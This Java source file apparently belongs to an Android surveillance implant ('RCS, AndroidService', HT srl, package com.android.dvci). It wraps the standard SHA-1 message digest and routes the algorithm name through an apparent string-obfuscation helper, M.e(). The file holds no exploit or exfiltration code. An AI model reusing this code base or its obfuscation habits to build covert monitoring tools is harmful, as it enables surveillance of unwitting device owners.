/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : SHA1Digest.java
* Created : Apr 9, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.crypto;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import com.android.dvci.auto.Cfg;
import com.android.dvci.util.Check;
import com.android.mm.M;
// TODO: Auto-generated Javadoc
/**
* The Class SHA1Digest.
*/
public class SHA1Digest {
/** The digest. */
MessageDigest digest;
/**
* Instantiates a new sH a1 digest.
*/
public SHA1Digest() {
try {
digest = MessageDigest.getInstance(M.e("SHA-1")); //$NON-NLS-1$
} catch (final NoSuchAlgorithmException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);//$NON-NLS-1$
}
}
}
/**
* Update.
*
* @param message
* the message
* @param offset
* the offset
* @param length
* the length
*/
public void update(final byte[] message, final int offset, final int length) {
digest.update(message, offset, length);
}
/**
* Gets the digest.
*
* @return the digest
*/
public byte[] getDigest() {
return digest.digest();
}
/**
* Update.
*
* @param message
* the message
*/
public void update(final byte[] message) {
digest.update(message, 0, message.length);
}
public static byte[] get(final byte[] message){
SHA1Digest digest = new SHA1Digest();
digest.update(message);
return digest.getDigest();
}
}